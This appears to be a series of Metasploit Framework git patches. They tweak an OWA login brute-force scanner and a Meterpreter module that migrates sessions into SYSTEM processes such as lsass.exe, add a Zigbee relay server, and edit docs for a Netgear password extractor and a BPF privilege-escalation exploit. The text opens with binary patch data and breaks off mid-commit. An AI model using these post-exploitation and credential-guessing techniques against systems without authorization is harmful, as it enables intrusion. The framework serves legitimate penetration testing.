zg)zFKk52@`zugIj^`gz+6!p6yBG#9P{``|5VEk6SeyRS_$E>&#LHFmi>+`N&D;C50 z^?ABI&o9;Q0z(!~6$uO}MPNCXXy^t#K3h|k<xw4ibXi~N#HR~%H~*1uQJL+-k^L7? zrbGs#+G<=a$Jb1M{0t;5X$-1;C|?S}q@>;MuKX-D9bNEVv4UdyjXU0vU9X}k8Qt*4 z1@FFv$bud0r3>C)g)B1>#_jH4JrzpdQlMIyjNjfa{vDN%Ti9f`;@7Z0?4;J<H?i?? z1wIve0W4Z1x{poBr@wE!QHs$dF&o)NeB|#T=3-#Z^AA>>w;$})E>P>1u~(m=(sBFw z^T#QG%guK{V;69J!DW4XBQcy*KJ>p)EklL8XtntMj^W;K!9r5NTMq1NgiX;n|90X~ z;<$jy=t*D?j4F3SG}1WEo-+hS2Eso=*7?_@Ztdv$LKMvN2tmIY7kCaFNiYG@H!82) zO(MouEc6izyys<;dTYFG?`!+*HOSUT?OTwM&Viwz2Yv{#&aN3L_-D4F5Vl{-4&Rvk zG6vDjCNuQ+{<S7j$no@@sF#sc)14o3ebsY=gu8DgUDV&{F8HpC*T@%&f4K$non7cv zo&Ow~e-1|!Nvi(LY1DIey1uOEN%wXn`n}PS&$Qz{Fqy}D7|eH=oQ&yd4VD*1*n+UC z=G^eqr7cUAi?kIj5$OugN|835Fu)*B0cPcE9hJrew-zBjOfL-I1+0;d-jujAw@tD& z<VX2;0m7!gN%7q@2%H;4@n|-S6=gMNu!phheiMff3t$Y?2h7Y}*rzhLSd=9eHGEmj zSs;dmB1=|bwpf_b)=GKe?S)%J*klBJyAiTtVBIP%qXn|DLT*C?4zM-*SOzwQ+wONd zot4hh)m6?4bU4Y!ax%n)LLt6tseNEIt8_S5J6HR#x6>7$b!*o-tE9^A45iYM3}c<$ z+R{j0P^F?n0scu=PX=y~HELscCITrR|5SNbs%asUQw7;6VMAWGFQYIgix$+9$PSnC z;k{tIAM48$ZBv#!-2ZH9)v<?5x80BBbyJ<+S?$BR+S}x*a5-IWZ-v+2Sd;4a9Pp%+ z>QrXsk^a>Gz`ipuB-2R865SX8hN2Nc%GxnVACpB{AHHnGP=XC*cWYDAb{|%~wcR^9 zS{?r4mX_5YwI1FfyJ}^JQ*P}Y`<dJ_G1wc&hZw0fDP~*r@O>g%{IY;0<1(+J%|1+< z7q+pS;)(3ei9XtR+WZsE_yGy`c7=T@G7(w+kGYjU&MlcJM2j_h1()~H1sSl)uf#b< zX8FsdXO4~9yp~(M!ZJ3tPv(=Auyq^zSYax2C+ngggt+GjZP(T$*z(7+Yb%dsx5{x= zw?lrYeQD{-D}A!{Wo@zi)EyhXij_1JOtWT?1<?qR(vc&a5u&dP%zx(l_fAgz-X3)S z9!3got)bP$jif#Vq9--;&aC_Yt{X`_hlajCpmGg2Cwku3XMr8oV`ks_KZIT4dvo~x zjrUys2^6tSFJ^Z6@2za2Cizp_(xrKl0pZ@wJr9CsHHF}|F&dr@1I7U#0XzcuDBuX- zQNYIlj{zPBd>rrzz$XDm0c5;-67Uq@7~oTYPXj&!I1czM;J*Pr2Y4Fr41n$teO~vU z)BP9Vp9K6B;0u8N4mbtS?i?Ad`+@)GmVhx9z$guAZ|L@EBR9;lqP9&)0Zkw=_8@d- z7G&TZWE@A~cY{XVs<{ODY5iZ&&D|KJbcLLL?3sPehIQW4Cw@K9@yaJ~qvWb-6UpFc z_NLiagwC7AL2-Xe4>-Z%nK2;$CQHK+EvYOy3TLu0-Hg0Tr?^-5pVR$UW>PYCQA>!y z^P<kFj+pWO08z~6i2wN<Nr1BY(Ko*S&p&<p$4xKX)i*Gm^K|KYovXQNkc~(OdgdJv zBrZ}uGus{TAkuiOFBy;~<5!qu$xZMlYbpSV7h&J#Zcz0b^QJLv@<}w&txuiC%o*y& zPL5!c!v(K#lf&QA0`9RM!VlhfJ!p%ZWx8NUxDv)iV$7rCzOVbU=NMuyQ@h48!`>of zN_T6nVecwO+J3ORJsM4RYhgZ}?`duKJ6c=3Bm<H;ZCr`3daeGv(Jfd|kqhX!i@NXT zSmQx_Ip>JYf?QXD0DS4|A!9jI*{yA2`HF}NC$-T~kd6QrV4Nni^f0VJki$d7)GiVn z90^P3fsN|8@92J;MxsB7sg?_uD*kxa3hTH2m3@i%{{_okCf<hlYlNjOfv(q<+9JqU z1GTgmOl!g<_5vh8IE_8j9qv&bSD-6s562o0BM)tj2+}<IAnWRG23s(eN5a>?3Cf3+ z>^VKBS4=7&(=!A)?!Q2T^i4ZR@S6tsg{HatF%%^tGgAb%T7;y|V%~Qn$NW5OxV73K zk_NSmU(eA$!u{>FxJ>*?gQhw&U&xVci29y6)F?-wGIpZT>G#B-4!LM3SX;GI5bYPn z66hf;%gFN-u>)t++UQ~=rBa<?DsKe8gK<_PWj5rSLf8ZQGCu9*XFA((7i~MfV!Q*^ z?;YTv73VU$a2C)3Yv-L%!#((h;6wODssL=7LF@_?*n9f99rOV1!-T<a1YE}OyHas( zSs%u&-b47cnNj>Y2U)W#VZ5w{CA${q8Fe`Qxdq?1g6CYw0b7e4suMLk_YuYzKo|<i zB==kxFu^UI%_zu&?B8_O5apa8VQ!foPp1-QI+=45=cfVvuv3%V&-R@=`T6ZDtlu0# zXQ<oqO{1g++-+vLTTM9y^%Eufl{Gp$pwpo3{4DC7$}sYC&eU)%q>GXtn%gSp(JHT_ zJaTj6zKpm_TGTah4Tz)risa^|+mAT9D>Gjl{Td3thd58VLBx&d=`fb&R)eMk^(NWH zP<uL0Aqg7ia~-A=74zv2MsGnz+HH_m5;??pOAYdYj84?Tyv^b>?b}UyE-al%(FuC` zwIZVzKyJCD$PVB~0FdrOco*od3vs6)XKEWtH-eDCAN3|0Lig|*5QTy9fd~4<JcVo4 za!zBeDc$NHKx`O)C{3VYxgCRW<QiGO3Yi_(Wrj|kTLel?KW3jl&26I&q&uspgT6h4 zWH;!H-~XHc{F~}avnM&~^@cOvwK(jwallQ3l5RkvSBRM#q2OC+05n_r2CuUCv6Yn9 z?8U@&4@6Asi+Ro{cs`5qB&pHTj&$HA0QL1{0BV^P0BULaYK)4enN$XB_cz$?uc~XR zuB@$Ztf<`7R9jKq=xnN}^Z4p2TwY(L(_3Bdt?|}8fM4D+Oj`}+CD6vT%`jtdm!E@Q zj2I3p4KvH3{2VffHrVv#5b|hN!ZG|RMiO>WD%%OvZY7?;ugPG_jKPM1+jdoz4YsQK zs>(|Izy}fdc5G{~`D^@}DqU5Z8VPF5K%BLCLE-XORo3`wD{D0Xew(ks=JWfSkXw_l zzRKhC5cp~km7jB0b2O2Z8%L5#1izGmUykXE-kqN_Qyo_W1XES%udQ}g_?qgS6)u+# zf@!R-s&G0zPG7yt<#g6~9=H{A#jP``oIGbNeeOx%x5yM^Xckt3vs|9}_dz;_nY^I} oXo5}kRrG5!mF4o@{2cT&a-`uO{QjTO3I9yK9YX!D|NX!J2giQayZ`_I From 69c7b0168c4cd58c17cedfeabc7aa81ff89cd9fe Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Mon, 27 Feb 2017 15:04:06 -0600 Subject: [PATCH 257/426] Restore USERNAME and PASSWORD options for owa_login Requested by our own pentesters, the username & password options should be restored so users can more easily try one password but multiple users. --- modules/auxiliary/scanner/http/owa_login.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/owa_login.rb b/modules/auxiliary/scanner/http/owa_login.rb index ac797e504e..c3536f9950 100644 --- a/modules/auxiliary/scanner/http/owa_login.rb +++ b/modules/auxiliary/scanner/http/owa_login.rb @@ -92,7 +92,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('AD_DOMAIN', [ false, "Optional AD domain to prepend to usernames", '']) ], self.class) - deregister_options('BLANK_PASSWORDS', 'RHOSTS','PASSWORD','USERNAME') + deregister_options('BLANK_PASSWORDS', 'RHOSTS') end def setup From e1d76b8ff6d5f4fa4545fd4b3419d6facfedff96 Mon Sep 17 00:00:00 2001 From: Josh Hale <jhale85446@gmail.com> Date: Mon, 27 Feb 2017 17:06:16 -0600 Subject: [PATCH 258/426] Add more error handling --- modules/post/windows/manage/priv_migrate.rb | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/manage/priv_migrate.rb b/modules/post/windows/manage/priv_migrate.rb index 80432ea742..096b36b527 100644 --- a/modules/post/windows/manage/priv_migrate.rb +++ b/modules/post/windows/manage/priv_migrate.rb @@ -107,9 +107,13 @@ class MetasploitModule < Msf::Post client.core.migrate(target_pid) print_good("Successfully migrated to #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}") return true - rescue ::Rex::Post::Meterpreter::RequestError => error + rescue ::Rex::Post::Meterpreter::RequestError => req_error print_error("Could not migrate to #{proc_name}.") - print_error(error.to_s) + print_error(req_error.to_s) + return false + rescue ::Rex::RuntimeError => run_error + print_error("Could not migrate to #{proc_name}.") + print_error(run_error.to_s) return false end end From 8e8e7244f40a910544377bf3127174286cd33a86 Mon Sep 17 00:00:00 2001 From: Josh Hale <jhale85446@gmail.com> Date: Mon, 27 Feb 2017 18:07:15 -0600 Subject: [PATCH 259/426] Add exit language --- modules/post/windows/manage/priv_migrate.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/modules/post/windows/manage/priv_migrate.rb b/modules/post/windows/manage/priv_migrate.rb index 096b36b527..033207270f 100644 --- a/modules/post/windows/manage/priv_migrate.rb +++ b/modules/post/windows/manage/priv_migrate.rb @@ -49,7 +49,10 @@ class MetasploitModule < Msf::Post @original_name = client.sys.process.open.name print_status("Current session process is #{@original_name} (#{@original_pid}) as: #{client.sys.config.getuid}") unless migrate_admin - return if is_admin? && datastore['NOFAIL'] + if is_admin? && !datastore['NOFAIL'] + print_status("NOFAIL set to false, exiting module.") + return + end migrate_user end end From 717879f3df86c5ad978b1a0e24ffc181c8f6c20b Mon Sep 17 00:00:00 2001 From: Josh Hale <jhale85446@gmail.com> Date: Mon, 27 Feb 2017 18:28:46 -0600 Subject: [PATCH 260/426] Downcase targets and current proc name --- modules/post/windows/manage/priv_migrate.rb | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/modules/post/windows/manage/priv_migrate.rb b/modules/post/windows/manage/priv_migrate.rb index 033207270f..0cdbde86d3 100644 --- a/modules/post/windows/manage/priv_migrate.rb +++ b/modules/post/windows/manage/priv_migrate.rb @@ -46,7 +46,7 @@ class MetasploitModule < Msf::Post def run # Get current process information @original_pid = client.sys.process.open.pid - @original_name = client.sys.process.open.name + @original_name = client.sys.process.open.name.downcase print_status("Current session process is #{@original_name} (#{@original_pid}) as: #{client.sys.config.getuid}") unless migrate_admin if is_admin? && !datastore['NOFAIL'] @@ -66,7 +66,7 @@ class MetasploitModule < Msf::Post def get_pid(proc_name) processes = client.sys.process.get_processes processes.each do |proc| - if proc['name'] == proc_name && proc['user'] != "" + if proc['name'].downcase == proc_name && proc['user'] != "" return proc['pid'] end end @@ -127,9 +127,10 @@ class MetasploitModule < Msf::Post # @return [FalseClass] if it failed to migrate def migrate_admin if is_admin? - # Populate target array + # Populate target array and Downcase all Targets admin_targets = DEFAULT_ADMIN_TARGETS.dup admin_targets.unshift(datastore['ANAME']) if datastore['ANAME'] + admin_targets.map!(&:downcase) if is_system? print_status("Session is already Admin and System.") @@ -157,9 +158,11 @@ class MetasploitModule < Msf::Post # @return [TrueClass] if it successfully migrated # @return [FalseClass] if it failed to migrate def migrate_user - # Populate Target Array + # Populate Target Array and Downcase all Targets user_targets = DEFAULT_USER_TARGETS.dup user_targets.unshift(datastore['NAME']) if datastore['NAME'] + user_targets.map!(&:downcase) + print_status("Will attempt to migrate to a User level process.") # Try to migrate to user level processes in the list. If it does not exist or cannot migrate, try spawning it then migrating. From 3333019e5f31fba778e5cbba25b0676633d53904 Mon Sep 17 00:00:00 2001 From: Josh Hale <jhale85446@gmail.com> Date: Mon, 27 Feb 2017 18:55:25 -0600 Subject: [PATCH 261/426] Check if current admin proc is in target list --- modules/post/windows/manage/priv_migrate.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/modules/post/windows/manage/priv_migrate.rb b/modules/post/windows/manage/priv_migrate.rb index 0cdbde86d3..78fbd91efc 100644 --- a/modules/post/windows/manage/priv_migrate.rb +++ b/modules/post/windows/manage/priv_migrate.rb @@ -134,6 +134,10 @@ class MetasploitModule < Msf::Post if is_system? print_status("Session is already Admin and System.") + if admin_targets.include? @original_name + print_good("Session is already in target process: #{@original_name}.") + return true + end else print_status("Session is Admin but not System.") end From dcb42a3e699b0bcdea1b4d6cfa053297f46dde95 Mon Sep 17 00:00:00 2001 From: Craig Smith <agent.craig@gmail.com> Date: Mon, 27 Feb 2017 17:29:54 -0800 Subject: [PATCH 262/426] Initial zigbee support using killerbee. Core session setup portion --- lib/msf/base/sessions/hwbridge.rb | 10 + .../post/hwbridge/extensions/zigbee/zigbee.rb | 42 ++++ .../ui/console/command_dispatcher/zigbee.rb | 86 ++++++++ modules/auxiliary/client/hwbridge/connect.rb | 3 + tools/hardware/killerbee_msfrelay | 201 ++++++++++++++++++ 5 files changed, 342 insertions(+) create mode 100644 lib/rex/post/hwbridge/extensions/zigbee/zigbee.rb create mode 100644 lib/rex/post/hwbridge/ui/console/command_dispatcher/zigbee.rb create mode 100755 tools/hardware/killerbee_msfrelay diff --git a/lib/msf/base/sessions/hwbridge.rb b/lib/msf/base/sessions/hwbridge.rb index f95af2c253..11e1d4b677 100644 --- a/lib/msf/base/sessions/hwbridge.rb +++ b/lib/msf/base/sessions/hwbridge.rb @@ -157,6 +157,16 @@ class HWBridge < Rex::Post::HWBridge::Client console.disable_output = original end + # + # Loads the zigbee extension + # + def load_zigbee + original = console.disable_output + console.disable_output = true + console.run_single('load zigbee') + console.disable_output = original + end + # # Load custom methods provided by the hardware # diff --git a/lib/rex/post/hwbridge/extensions/zigbee/zigbee.rb b/lib/rex/post/hwbridge/extensions/zigbee/zigbee.rb new file mode 100644 index 0000000000..835f9ed9fa --- /dev/null +++ b/lib/rex/post/hwbridge/extensions/zigbee/zigbee.rb @@ -0,0 +1,42 @@ +# +# -*- coding: binary -*- +require 'rex/post/hwbridge/client' + +module Rex +module Post +module HWBridge +module Extensions +module Zigbee + +### +# Zigbee extension - set of commands to be executed on zigbee compatible hw bridges +### + +class Zigbee < Extension + + def initialize(client) + super(client, 'zigbee') + + # Alias the following things on the client object so that they + # can be directly referenced + client.register_extension_aliases( + [ + { + 'name' => 'zigbee', + 'ext' => self + } + ]) + end + + # Gets supported Zigbee Devices + # @return [Array] Devices + def supported_devices + client.send_request("/zigbee/supported_devices") + end +end + +end +end +end +end +end diff --git a/lib/rex/post/hwbridge/ui/console/command_dispatcher/zigbee.rb b/lib/rex/post/hwbridge/ui/console/command_dispatcher/zigbee.rb new file mode 100644 index 0000000000..d07e567a0e --- /dev/null +++ b/lib/rex/post/hwbridge/ui/console/command_dispatcher/zigbee.rb @@ -0,0 +1,86 @@ +# -*- coding: binary -*- +require 'rex/post/hwbridge' +require 'msf/core/auxiliary/report' + +module Rex +module Post +module HWBridge +module Ui +### +# Zigbee extension - set of commands to be executed on Zigbee compatible devices +### +class Console::CommandDispatcher::Zigbee + include Console::CommandDispatcher + include Msf::Auxiliary::Report + + # + # List of supported commands. + # + def commands + all = { + 'supported_devices' => 'Get supported zigbee devices' + } + + all + end + + # + # Lists all thesupported devices + # + def cmd_supported_devices + devices = client.zigbee.supported_devices + if not devices or not devices.has_key? "devices" + print_line("error retrieving list of devices") + return + end + devices = devices["devices"] + if not devices.size > 0 + print_line("none") + return + end + self.target_device = devices[0] if devices.size == 1 + str = "Supported Devices: " + str += devices.join(', ') + str += "\nUse device name to set your desired device, default is: #{self.target_device}" + print_line(str) + end + + # + # Sets the default target device + # + def cmd_target(*args) + self.target_device = "" + device_opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ], + '-d' => [ true, 'Device ID' ] + ) + device_opts.parse(args) do |opt, _idx, val| + case opt + when '-h' + print_line("Usage: target -d <device id>\n") + print_line(device_opts.usage) + return + when '-d' + self.target_device = val + end + end + print_line("set target device to #{self.target_device}") + end + + # + # Name for this dispatcher + # + def name + 'Zigbee' + end + +private + attr_accessor :target_device + +end + +end +end +end +end + diff --git a/modules/auxiliary/client/hwbridge/connect.rb b/modules/auxiliary/client/hwbridge/connect.rb index be2fe30ade..331af02385 100644 --- a/modules/auxiliary/client/hwbridge/connect.rb +++ b/modules/auxiliary/client/hwbridge/connect.rb @@ -98,6 +98,9 @@ class MetasploitModule < Msf::Auxiliary if self.hw_specialty.has_key? "automotive" sess.load_automotive if self.hw_specialty["automotive"] == true end + if self.hw_specialty.has_key? "zigbee" + sess.load_zigbee if self.hw_specialty["zigbee"] == true + end end # diff --git a/tools/hardware/killerbee_msfrelay b/tools/hardware/killerbee_msfrelay new file mode 100755 index 0000000000..c600232ddb --- /dev/null +++ b/tools/hardware/killerbee_msfrelay @@ -0,0 +1,201 @@ +#!/usr/bin/python +# KillerBee Metasploit relay server + +import re +import os +import sys +import cmd +import time +import json +import base64 +import socket +import threading +import pkg_resources # Used to get killerbee version + +from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer +from urlparse import parse_qs,urlparse +from killerbee import * + +last_errors = 0 +starttime = 0 +packets_sent = 0 +last_sent = 0 +username = None +password = None + +class MSFHandler(BaseHTTPRequestHandler): + def status(self): + status = {} + hw_versions = [] + fw_version = pkg_resources.get_distribution("killerbee").version + device_names = [] + for dev in kbutils.devlist(): + hw_versions.append(dev[2]) + device_names.append(dev[1]) + if len(hw_versions) > 0: + status["operational"] = 1 + else: + status["operational"] = 0 + status["hw_specialty"] = { "zigbee": True } + # TODO: We should check firmware before reporting transmit capabilities + status["hw_capabilities"] = { "transmit": True} + status["last_10_errors"] = last_errors + status["api_version"] = "0.0.3" + status["fw_version"] = fw_version + if len(hw_versions) == 1: + status["hw_version"] = hw_versions[0] + status["device_name"] = device_names[0] + elif len(hw_versions) > 1: + status["hw_version"] = ', '.join(hw_versions) + status["device_name"] = ', '.join(device_names) + else: + status["hw_version"] = "Not Supported" + return status + + def statistics(self): + stats = {} + stats["uptime"] = int(time.time()) - starttime + stats["packet_stats"] = packets_sent + stats["last_request"] = last_sent + stats["voltage"] = "0.0v" + return stats + + def datetime(self): + return { "sytem_datetime": int(time.time()) } + + def timezone(self): + return { "system_timezone": time.strftime("%Z") } + + def supported_devices(self): + devices = [] + for dev in kbutils.devlist(): + devices.append(dev[0]) + return { "devices": devices } + + def not_supported(self): + return { "status": "not supported" } + + def send(self, data, resp=200): + self.send_response(resp) + self.send_header('Content-type','application/json') + self.end_headers() + self.wfile.write(json.dumps(data)) + return + + def do_AUTHHEAD(self): + self.send_response(401) + self.send_header('WWW-Authenticate', 'Basic realm=\"Killerbee MSF Relay\"') + self.send_header('Content-type', 'text/html') + self.end_headers() + self.wfile.write("Please Authenticate") + + def do_GET(self): + if not password == None: + if self.headers.getheader('Authorization') == None: + print("Did not authenticate") + self.do_AUTHHEAD() + return + if not self.headers.getheader('Authorization') == 'Basic '+base64.b64encode(username + ":" + password): + print("Bad Authentication") + self.do_AUTHHEAD() + return + url = urlparse(self.path) + args = parse_qs(url.query) + if self.path=="/status": + self.send(self.status()) + elif self.path=="/statistics": + self.send(self.statistics()) + elif self.path=="/settings/datetime": + self.send(self.datetime()) + elif self.path=="/settings/timezone": + self.send(self.timezone()) + elif self.path=="/zigbee/supported_devices": + self.send(self.supported_devices()) + elif self.path.startswith("/zigbee/"): + re_idx = re.compile("/zigbee/(\w+)/") + m = re_idx.match(self.path) + if m: + idx = m.group(1) + if self.path.find("/set_freq?") > -1: + self.send(self.set_freq(args)) + else: + self.send(self.not_supported(), 404) + else: + self.send(self.not_supported(), 404) + else: + self.send(self.not_supported(), 404) + return + +class Killerbee_MSFRelay(cmd.Cmd): + intro = """ + Killerbee Metasploit Relay +""" + + def __init__(self, ip='0.0.0.0', port=8080): + cmd.Cmd.__init__(self) + + self._ip = ip + self._port = port + self._sock = None + self._pause = False + + self.start() + + def start(self): + self._go = True + while self._go: + # serve the NIC port + try: + self._sock = HTTPServer((self._ip, self._port), MSFHandler) + starttime = int(time.time()) + print("Killerbee MSFRelay running.") + self._sock.serve_forever() + except KeyboardInterrupt: + self._sock.socket.close() + self._go = False + except: + sys.excepthook(*sys.exc_info()) + +if __name__ == "__main__": + import argparse + + parser = argparse.ArgumentParser() + parser.add_argument('-u', '--user', default="msf_relay", help='HTTP Username', type=str) + parser.add_argument('-p', '--password', default="rfcat_relaypass", help='HTTP Password', type=str) + parser.add_argument('-P', '--Port', default=8080, type=int) + parser.add_argument('--noauth', default=False, action="store_true", help='Do not require authentication') + parser.add_argument('--localonly', default=False, action="store_true", help='Listen on localhost only') + + ifo = parser.parse_args() + + username = ifo.user + password = ifo.password + ip = "0.0.0.0" + port = ifo.Port + if ifo.noauth: + username = None + password = None + if ifo.localonly: + host = "127.0.0.1" + + wait_msg = False + dev_found = False + while not dev_found: + try: + devs = kbutils.devlist() + if len(devs) > 0: + dev_found = True + elif not wait_msg: + print("Insert Killerbee compatible Zigbee device. (You may need to add permissions)") + wait_msg = True + except KeyboardInterrupt: + sys.exit() + except: + if not wait_msg: + print("Insert Killerbee compatible Zigbee device. (You may need to add permissions)") + wait_msg = True + + beerelay = Killerbee_MSFRelay(ip, port) + +import atexit +atexit.register(cleanupInteractiveAtExit) From 8197d14f30a7f1b4eeea98ec88478937541d2d26 Mon Sep 17 00:00:00 2001 From: h00die <michaeltcyr@gmail.com> Date: Mon, 27 Feb 2017 20:58:03 -0500 Subject: [PATCH 263/426] fix some documentation --- .../admin/chromecast/chromecast_youtube.md | 4 ++-- .../http/netgear_soap_password_extractor.md | 23 ++++++++++--------- .../exploit/linux/local/bpf_priv_esc.md | 12 +++++----- 3 files changed, 20 insertions(+), 19 deletions(-) diff --git a/documentation/modules/auxiliary/admin/chromecast/chromecast_youtube.md b/documentation/modules/auxiliary/admin/chromecast/chromecast_youtube.md index 6594b0b0a7..b52fa70223 100644 --- a/documentation/modules/auxiliary/admin/chromecast/chromecast_youtube.md +++ b/documentation/modules/auxiliary/admin/chromecast/chromecast_youtube.md @@ -1,4 +1,4 @@ -This module plays (by default) [https://www.youtube.com/watch?v=kxopViU98Xo]("Epic sax guy 10 hours") on a target Google Chromecast via YouTube. +This module plays (by default) ["Epic sax guy 10 hours"](https://www.youtube.com/watch?v=kxopViU98Xo) on a target Google Chromecast via YouTube. Naturally, audio should be cranked to 11 before running this module. @@ -12,7 +12,7 @@ Naturally, audio should be cranked to 11 before running this module. **VID** - The YouTube video to be played. Defaults to [https://www.youtube.com/watch?v=kxopViU98Xo](kxopViU98Xo) + The YouTube video to be played. Defaults to [kxopViU98Xo](https://www.youtube.com/watch?v=kxopViU98Xo) ## Sample Output diff --git a/documentation/modules/auxiliary/admin/http/netgear_soap_password_extractor.md b/documentation/modules/auxiliary/admin/http/netgear_soap_password_extractor.md index d0dbc3cce8..20faf301f6 100644 --- a/documentation/modules/auxiliary/admin/http/netgear_soap_password_extractor.md +++ b/documentation/modules/auxiliary/admin/http/netgear_soap_password_extractor.md @@ -1,17 +1,18 @@ ## Vulnerable Application The following list is a non-exhaustive list of vulnerable Netgear devices: -1. R6300v2 < [1.0.3.28](http://kb.netgear.com/app/answers/detail/a_id/28372) -2. WNDR3300 - V1.0.45 (current, confirmed vuln) -3. WNDR3700v1 - 1.0.7.98, 1.0.16.98 (confirmed vuln) -4. WNDR3700v2 - 1.0.1.14 (EOL, confirmed vuln) -5. WNDR3700v4 < [1.0.2.80](http://kb.netgear.com/app/answers/detail/a_id/28355) -6. WNDR3800 - 1.0.0.48 (EOL, confirmed vuln) -7. WNDR4300 < [1.0.2.80](http://kb.netgear.com/app/answers/detail/a_id/28037) -8. WNR1000v2 - 1.0.1.1, 1.1.2.58 (EOL, confirmed vuln) -9. WNR2000v3 < [1.1.2.12](http://kb.netgear.com/app/answers/detail/a_id/30024) -10. WNR2200 < [1.0.1.96](http://kb.netgear.com/app/answers/detail/a_id/28036) -11. WNR2500 < [1.0.0.32](http://kb.netgear.com/app/answers/detail/a_id/28351) + + 1. R6300v2 < [1.0.3.28](http://kb.netgear.com/app/answers/detail/a_id/28372) + 2. WNDR3300 - V1.0.45 (current, confirmed vuln) + 3. WNDR3700v1 - 1.0.7.98, 1.0.16.98 (confirmed vuln) + 4. WNDR3700v2 - 1.0.1.14 (EOL, confirmed vuln) + 5. WNDR3700v4 < [1.0.2.80](http://kb.netgear.com/app/answers/detail/a_id/28355) + 6. WNDR3800 - 1.0.0.48 (EOL, confirmed vuln) + 7. WNDR4300 < [1.0.2.80](http://kb.netgear.com/app/answers/detail/a_id/28037) + 8. WNR1000v2 - 1.0.1.1, 1.1.2.58 (EOL, confirmed vuln) + 9. WNR2000v3 < [1.1.2.12](http://kb.netgear.com/app/answers/detail/a_id/30024) + 10. WNR2200 < [1.0.1.96](http://kb.netgear.com/app/answers/detail/a_id/28036) + 11. WNR2500 < [1.0.0.32](http://kb.netgear.com/app/answers/detail/a_id/28351) ## Verification Steps diff --git a/documentation/modules/exploit/linux/local/bpf_priv_esc.md b/documentation/modules/exploit/linux/local/bpf_priv_esc.md index 3a0de3ac8d..91ad0cc021 100644 --- a/documentation/modules/exploit/linux/local/bpf_priv_esc.md +++ b/documentation/modules/exploit/linux/local/bpf_priv_esc.md @@ -1,19 +1,19 @@ ## Notes -This module (and the original exploit) are written in several parts: hello, doubleput, and suidhelper. +This module (and the original exploit) are written in several parts: `hello`, `doubleput`, and `suidhelper`. -Mettle at times on this exploit will give back an invalid session number error. In these cases payload/linux/x64/shell/bind_tcp seemed to always work. +Mettle at times on this exploit will give back an invalid session number error. In these cases `payload/linux/x64/shell/bind_tcp` seemed to always work. -As of PR submission, the original shell becomes unresposive when the root shell occurs. Metasm fails to compile due to fuse.h being required. +As of PR submission, the original shell becomes unresposive when the root shell occurs. Metasm fails to compile due to `fuse.h` being required. -As of PR submission, killing of the process hello and doubleput has to occur manually. /tmp/fuse_mount also needs to be unmounted and deleted. +As of PR submission, killing of the process `hello` and `doubleput` has to occur manually. `/tmp/fuse_mount` also needs to be unmounted and deleted. ## Creating A Testing Environment There are a few requirements for this module to work: - 1. CONFIG_BPF_SYSCALL=y must be set in the kernel (default on Ubuntu 16.04 (Linux 4.4.0-38-generic)) - 2. kernel.unprivileged_bpf_disabled can't be set to 1 (default on Ubuntu 16.04 (Linux 4.4.0-38-generic)) + 1. `CONFIG_BPF_SYSCALL=y` must be set in the kernel (default on Ubuntu 16.04 (Linux 4.4.0-38-generic)) + 2. `kernel.unprivileged_bpf_disabled` can't be set to `1` (default on Ubuntu 16.04 (Linux 4.4.0-38-generic)) 3. fuse needs to be installed (non-default on Ubuntu 16.04 (Linux 4.4.0-38-generic)) Using Ubuntu 16.04, simply `sudo apt-get install fuse` and you're all set! From da1e58d90773f5954733586cb1ace9b176d6bbf1 Mon Sep 17 00:00:00 2001 From: h00die <michaeltcyr@gmail.com> Date: Mon, 27 Feb 2017 21:08:18 -0500 Subject: [PATCH 264/426] updates to doc template --- documentation/modules/module_doc_template.md | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/documentation/modules/module_doc_template.md b/documentation/modules/module_doc_template.md index aa1e134161..a009033856 100644 --- a/documentation/modules/module_doc_template.md +++ b/documentation/modules/module_doc_template.md @@ -1,14 +1,17 @@ The following is the recommended format for module documentation. But feel free to add more content/sections to this. - +One of the general ideas behind these documents is to help someone troubleshoot the module if it were to stop +functioning in 5+ years, so giving links or specific examples can be VERY helpful. ## Vulnerable Application - Instructions to get the vulnerable application. + Instructions to get the vulnerable application. If applicable, include links to the vulnerable install files, + as well as instructions on installing/configuring the environment if it is different than a standard install. + Much of this will come from the PR, and can be copy/pasted. ## Verification Steps - Example steps in this format: + Example steps in this format (is also in the PR): 1. Install the application 2. Start msfconsole @@ -20,7 +23,7 @@ But feel free to add more content/sections to this. **Option name** - Talk about what it does, and how to use it appropriately. + Talk about what it does, and how to use it appropriately. If the default value is likely to change, include the default value here. ## Scenarios From 2f5dd389578c5f44162e40a9a8aada128b02bc9d Mon Sep 17 00:00:00 2001 From: Josh Hale <jhale85446@gmail.com> Date: Mon, 27 Feb 2017 20:19:59 -0600 Subject: [PATCH 265/426] Update Admin target list and module description --- modules/post/windows/manage/priv_migrate.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/post/windows/manage/priv_migrate.rb b/modules/post/windows/manage/priv_migrate.rb index 78fbd91efc..f9d8f25413 100644 --- a/modules/post/windows/manage/priv_migrate.rb +++ b/modules/post/windows/manage/priv_migrate.rb @@ -10,7 +10,7 @@ class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv - DEFAULT_ADMIN_TARGETS = [ 'services.exe', 'winlogon.exe', 'wininit.exe', 'lsm.exe', 'lsass.exe' ] + DEFAULT_ADMIN_TARGETS = [ 'services.exe', 'wininit.exe', 'svchost.exe', 'lsm.exe', 'lsass.exe', 'winlogon.exe' ] DEFAULT_USER_TARGETS = [ 'explorer.exe', 'notepad.exe' ] def initialize(info={}) @@ -19,8 +19,8 @@ class MetasploitModule < Msf::Post 'Description' => %q{ This module will migrate a Meterpreter session based on session privileges. It will do everything it can to migrate, including spawing a new User level process. For sessions with Admin rights: It will try to migrate into a System level process in the following - order: ANAME (if specified), services.exe, winlogon.exe, wininit.exe, lsm.exe, and lsass.exe. - If all these fail, it will fall back to User level migration. For sessions with User level rights: + order: ANAME (if specified), services.exe, wininit.exe, svchost.exe, lsm.exe, lsass.exe, and winlogon.exe. + If 